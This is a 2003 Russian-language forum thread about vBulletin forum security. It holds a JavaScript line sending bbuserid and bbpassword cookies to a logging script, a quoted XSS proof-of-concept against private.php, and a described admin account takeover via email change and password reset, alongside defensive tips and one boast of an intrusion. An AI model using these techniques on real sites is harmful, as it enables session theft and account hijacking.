Форум сетевых администраторов - Взлом, как уберечься

Страницы (4): « Первая ... « 2 3 [4]
Показаны 57 сообщений на этой странице

Форум сетевых администраторов (http://netadmin.ws/forum/index.php)
- Хаки от Netadmin или "Сделай сам" (http://netadmin.ws/forum/forumdisplay.php?forumid=65)
-- Взлом, как уберечься (http://netadmin.ws/forum/showthread.php?threadid=1463)

Помещено kpecm 04-04-2003 в 11:08:

quote:
Первоначальное сообщение от 2thed
nothing personal, но или ты геный и можеж запоминать десятки psw типа: Ji#oK{Gi или ползуишся каким то шаблонам по которому с 20 попиток твой пароль и подобрали.

Позвольте не согласиться.
1. Не так много паролей критичны.
2. Не сгенеренный, а самостоятельно созданный пароль запоминается проще.

Например такой пароль
1rSV265V$ 93m - достаточно длинный, в то же время для хозяина легко запоминаемый. В то же время он содержит в себе все что надо. Т.е. прописные и строчные буквы, цифры, специальные симфолы и пробел. На подбор простым перебором на среднестатическом ПиСюке можно не расчитывать.

З.Ы. для особых случаев можно использовать целый ряд защиты. Т.е. Пароль на ак, а так же пароль на админский каталог. Даже узнав админский пароль взломщику придется ломать еще и .htaccess.

Может я и ошибаюсь.

Помещено Jaxick 05-04-2003 в 19:13:

Люд , я не стал читать всю тему , но скажу может быть то что уже было сказанно:
Взломать пароль на ненастроеном форуме очень даже не сложно!!!
Дело в том что если в форуме включены HTML то юзер может спокойно вставить код JavaScript !!!! А ЯваСкрипт как известно имеет доступ к куукам , там же и хранятся ID сессии(вряд ли надо - так как они постоянно меняются) и самое важное для взломщика - кууки bbuserid и bbpassword !!!
Помимо этого - он там где то делает у себя скрипт который записывает все данные!
И приписывает что то типа этого:
document.location = "pass.php?bbuserid='+bbuserid+'&bbpassword='+bbpassword+';
и вооля - данные передадутся этому скрипту , который уже их обработает и отдаст взломщику! Администратор форума тут не будет исключением !
Ну и соответственно - взломщик пропишет у себя эти данные и зайдет под чужим логином , например под администратором!
Так что для вашего же здоровья - в публичных форумах выключайте HTML !!!
Можно написать хак который бы отключал только тэги <javascript> , но помимо этого - можно вскрыть пароль и при помощи тэгов <span> и даже с <img>!

Помещено Mr.Death 04-05-2003 в 15:43:

Хе хе,вот я сломал с сайта пароль и лазию у него в базе смотрю что мне надо (просто по дизайну),но что бы удалить это сильно,а не урод !

Помещено NeoExpert 28-09-2003 в 19:49:

Вы про ламаки. Причём все.

Сообщается, что сценарий 'private.php' не фильтрует данные, представленные пользователем. Удаленный пользователь может сконструировать специально сформированную Web форму, которая, при загрузке в браузере пользователя, выполнить произвольный код сценария в браузере целевого пользователя в контексте vBulletin сайта. Пример: (требуется предварительная авторизация)

html>
< body>
< form action="http://[victim]/forum/private.php" method="post"
name="vbform">
< input type="hidden" name="do" value="insertpm" />
< input type="hidden" name="pmid" value="" />
< input type="hidden" name="forward" value="" />
< input type="hidden" name="receipt" value="0" />

< input type="text" class="bginput" name="title" value=""
size="40"
tabindex="2" />
< textarea name="message" rows="20" cols="70" wrap="virtual"
tabindex="3"></textarea>
< input type="submit" class="button" name="sbutton" value="Pos
t Message"
accesskey="s" tabindex="4" />
< input type="submit" class="button" value="Preview Message" access
key="p"
name="preview" onclick="this.form.dopreview = true; return
true;this.form.submit()" tabindex="5" >

< input type="checkbox" name="savecopy" value="1" id="cb_savec
opy"
checked="checked" />
< input type="checkbox" name="signature" value="1" id="cb_sign
ature" />
< input type="checkbox" name="parseurl" value="1" id="cb_parse
url"
checked="checked" />
< input type="checkbox" name="disablesmilies" value="1"
id="cb_disablesmilies" />
< /form>
< script>
//Set Values and Submit
// You can write your own JS codes
var xss = ""><script>alert(document.cookie)</script>";
document.vbform.title.value=xss;
document.vbform.preview.click();
< /script>
< /body>
< /html>

Помещено Mr.Death 28-09-2003 в 21:34:

ХА! Возманил себя отцом? Статью нашёл,уже крутой?
Какое каму дело как пишиться оффсайт ил офсайт,главное понятно что сказали. polo знает в 100 раз больше чем ты !
polo в бан его !
Сори за оффтопик

Помещено magistr 29-09-2003 в 11:30:

в уязвимых версиях можно выполнить css нападение
записать куки и войти под ними

делается даже проще
составляешь html файл с скриптом
ищешь админа и говоришь:
будь другом зайди на мой сайт я тебе бублик дам
он кликает и все
куки у тебя

Помещено Krionix 30-09-2003 в 12:07:

magistr
Так ведь чтобы зайти в ACP нужно еще раз ввести логин и пароль. А в куках он зашифрованый. �_асшифровывать будешь ? (если это еще и возможно)

__________________
Форум 3DNews

Помещено magistr 30-09-2003 в 18:32:

Krionix

хех ту просто идешь в user CP меняешь email на свой
потом logout
потом forgot password
вводишь свой email
получаешь пароль
потом меняешь email назад
но пароль уже сбросан
админ заметит но уже не успеет
я вообще например на Htaxx весь форум ставлю для каждого юзера это лучшее решение
и админ панель на другой htaxx

Помещено Krionix 01-10-2003 в 12:09:

magistr
Точно блин, чей то я ступил

__________________
Форум 3DNews

Помещено NeoExpert 04-10-2003 в 15:35:

Да, бан мне, чтоб мне умничал !!! Но умничать фсё равно буду

Помещено Mr.Death 04-10-2003 в 16:15:

NeoExpert Будеш,но тоолько сидя на сортире.

Помещено NeoExpert 05-10-2003 в 19:10:

Ладно, завтра на работу ... я протрезвел и успокоился.
Пардон, если кого обидел ...

Формат времени GMT. Текущее время 01:23.

Страницы (4): « Первая ... « 2 3 [4]
Показаны 57 сообщений на этой странице